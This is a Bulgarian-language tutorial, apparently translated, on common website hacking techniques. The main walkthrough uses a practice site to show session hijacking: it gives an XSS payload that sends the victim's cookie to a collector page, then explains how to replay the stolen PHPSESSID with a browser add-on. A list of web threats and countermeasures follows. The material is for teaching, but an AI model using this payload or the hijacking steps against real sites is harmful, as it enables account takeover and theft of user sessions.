Как да хакнете уебсайт? Често срещани техники за хакване на сайтове
Техники за хакване на уебсайтове
Повече хора имат достъп до интернет от всякога. Това подтикна много организации да разработят уеб базирани приложения, които потребителите могат да използват онлайн, за да взаимодействат с организацията. Лошо написан код за уеб приложения може да бъде използван за получаване на неоторизиран достъп до чувствителни данни и уеб сървъри.
В този урок ще научите как да хаквате уебсайтове и ние ще ви запознаем с техники за хакване на уеб приложения и контрамерки можете да поставите място за защита срещу подобни атаки.
Как да хакнете уебсайт
В този практически сценарий за хакване на уебсайт ще отвлечем потребителската сесия на уеб приложението, намиращо се на www.techpanda.org. Ще използваме междусайтови скриптове, за да прочетем идентификационния номер на сесията на бисквитката, след което да го използваме, за да се представим за легитимна потребителска сесия.
Направеното предположение е, че атакуващият има достъп до уеб приложението и би искал да отвлече сесиите на други потребители, които използват същото приложение. Целта на тази атака може да бъде получаване на администраторски достъп до уеб приложението, ако приемем, че акаунтът за достъп на атакуващия е ограничен.
Стъпка 1) Отворете URL адреса http://www.techpanda.org/.
За практически цели е силно препоръчително да получите достъп чрез SQL Injection. Обърнете се към това статията за повече информация как да направите това.
Стъпка 2) Въведете данните за влизане.
Имейлът за вход е admin@google.com, паролата е Password2010.
Стъпка 3) Проверете таблото.
Ако сте влезли успешно, ще получите следното табло за управление
Стъпка 4) Въведете ново съдържание.
Кликнете върху Добавяне на нов контакт и въведете следното като първо име
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
Стъпка 5) Добави Javascript.
Горният код използва JavaСценарий. Той добавя хипервръзка със събитие onclick. Когато нищо неподозиращият потребител кликне върху връзката, събитието извлича PHP идентификатор на сесия на бисквитка и го изпраща на snatch_sess_id.php
страница заедно с идентификатора на сесията в URL адреса
Стъпка 6) Добавяне на подробности.
Въведете останалите подробности, както е показано по-долу, и щракнете върху Запазване на промените
Стъпка 7) Проверете таблото.
Вашето табло за управление вече ще изглежда като следния екран
Стъпка 8) Проверете идентификатора на сесията.
Забележка: скриптът може да изпраща стойността до някакъв отдалечен сървър, където се съхранява PHPSESSID, след което потребителят се пренасочва обратно към уебсайта, сякаш нищо не се е случило.
Забележка: стойността, която получавате, може да е различна от тази в тази уеб страница урок за хакване, но концепцията е същата
Използване на имитация на сесия Firefox и Tamper Data добавка
Схемата по-долу показва стъпките, които трябва да предприемете, за да завършите това упражнение.
- Вие ще трябва Firefox уеб браузър за този раздел и добавка Tamper Data
- отворено Firefox и инсталирайте добавката, както е показано на диаграмите по-долу
- Потърсете данни за подправяне, след което щракнете върху инсталиране, както е показано по-горе
- Щракнете върху Приеми и инсталирай...
- Кликнете върху Рестартирай сега, когато инсталацията приключи
- Активирайте лентата с менюта Firefox ако не е показано
- Щракнете върху менюто с инструменти, след което изберете Tamper Data, както е показано по-долу
- Ще получите следния прозорец. Забележка: Ако Windows не е празен, натиснете бутона за изчистване
- Кликнете върху менюто Start Tamper
- Превключете обратно към Firefox уеб браузър, въведете http://www.techpanda.org/dashboard.php след това натиснете клавиша enter, за да заредите страницата
- Ще получите следния изскачащ прозорец от Tamper Data
- Изскачащият прозорец има три (3) опции. Опцията Tamper ви позволява да промените информацията за HTTP заглавката, преди да бъде изпратена на сървъра.
- Кликнете върху него
- Ще получите следния прозорец
- Копирайте Идентификатор на PHP сесия сте копирали от URL адреса на атаката и го поставете след знака за равенство. Вашата стойност сега трябва да изглежда така
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- Кликнете върху бутона OK
- Ще получите отново изскачащия прозорец с данни за подправяне
- Премахнете отметката от квадратчето, което пита Continue Tampering?
- Кликнете върху бутона за изпращане, когато сте готови
- Трябва да можете да видите таблото за управление, както е показано по-долу
Забележка: ние не влязохме, олицетворихме сесия за влизане, използвайки стойността на PHPSESSID, която извлякохме с помощта на кръстосани скриптове
Какво е уеб приложение? Какво представляват уеб заплахите?
Уеб приложение (известно още като уебсайт) е приложение, базирано на модела клиент-сървър. The сървър осигурява достъп до базата данни и бизнес логиката. Той се хоства на уеб сървър. Клиентското приложение работи в клиентския уеб браузър. Уеб приложенията обикновено се пишат на езици като Java, C# и VB.Net, PHP, ColdFusion Markup Language и т.н. двигателите на бази данни, използвани в уеб приложенията, включват MySQL, MS SQL сървър, PostgreSQL, SQLiteИ др
Топ техники за хакване на уебсайтове
Повечето уеб приложения се хостват на публични сървъри, достъпни през интернет. Това ги прави уязвими за атаки поради лесния достъп. Следват често срещани заплахи за уеб приложения.
- SQL Injection – целта на тази заплаха може да бъде заобикаляне на алгоритмите за влизане, саботиране на данните и т.н.
- Отказ от служебни атаки– целта на тази заплаха може да бъде да откаже достъп на легитимни потребители до ресурса
- Cross Site Scripting XSS– целта на тази заплаха може да бъде инжектиране на код, който може да бъде изпълнен в браузъра от страна на клиента.
- Отравяне с бисквитки/сесии– целта на тази заплаха е да модифицира бисквитки/данни за сесия от нападател, за да получи неоторизиран достъп.
- Подправяне на формуляр – целта на тази заплаха е да модифицира данни от формуляри като цени в приложения за електронна търговия, така че атакуващият да може да получи артикули на намалени цени.
- Инжектиране на код – целта на тази заплаха е да инжектира код като PHP, Pythonи т.н., които могат да бъдат изпълнени на сървъра. Кодът може да инсталира задни врати, да разкрива чувствителна информация и т.н.
- Обезценяване– целта на тази заплаха е да промени страницата, показана на уебсайт, и да пренасочи всички заявки за страница към една страница, която съдържа съобщението на атакуващия.
Как да защитите уебсайта си от хакове?
Една организация може да приеме следната политика, за да се защити срещу атаки на уеб сървър.
- SQL Injection – санирането и валидирането на потребителските параметри преди изпращането им в базата данни за обработка може да помогне за намаляване на шансовете да бъдете атакувани чрез SQL Injection. Машини за бази данни като MS SQL Server, MySQLи т.н. поддържащи параметри и подготвени отчети. Те са много по-безопасни от традиционните SQL изрази
- Атаки за отказ на услуга – защитните стени могат да се използват за премахване на трафик от подозрителен IP адрес, ако атаката е обикновен DoS. Правилното конфигуриране на мрежите и системата за откриване на проникване също може да помогне за намаляване на шансовете за a DoS атака беше успешен.
- Cross Site Scripting – валидирането и дезинфекцирането на заглавки, параметри, предадени чрез URL, параметри на формуляр и скрити стойности, могат да помогнат за намаляване на XSS атаките.
- Отравяне с бисквитки/сесии – това може да бъде предотвратено чрез криптиране на съдържанието на бисквитките, изключване на бисквитките след известно време, свързване на бисквитките с IP адреса на клиента, който е бил използван за създаването им.
- Закаляване на формата – това може да бъде предотвратено чрез валидиране и проверка на въвеждането от потребителя преди обработката му.
- Инжектиране на код – това може да бъде предотвратено чрез третиране на всички параметри като данни, а не като изпълним код. Дезинфекцията и валидирането могат да се използват за изпълнение на това.
- обезобразяване – една добра политика за сигурност за разработване на уеб приложения трябва да гарантира, че запечатва често използвани уязвимости за достъп до уеб сървъра. Това може да бъде правилна конфигурация на операционната система, софтуера на уеб сървъра и най-добрите практики за сигурност при разработване на уеб приложения.
Oбобщение
- Уеб приложението е базирано на модела сървър-клиент. Клиентската страна използва уеб браузъра за достъп до ресурсите на сървъра.
- Уеб приложенията обикновено са достъпни през интернет. Това ги прави уязвими на атаки.
- Заплахите за уеб приложения включват инжектиране на SQL, инжектиране на код, XSS, обезобразяване, отравяне на бисквитки и др.
- Една добра политика за сигурност при разработването на уеб приложения може да им помогне да бъдат защитени.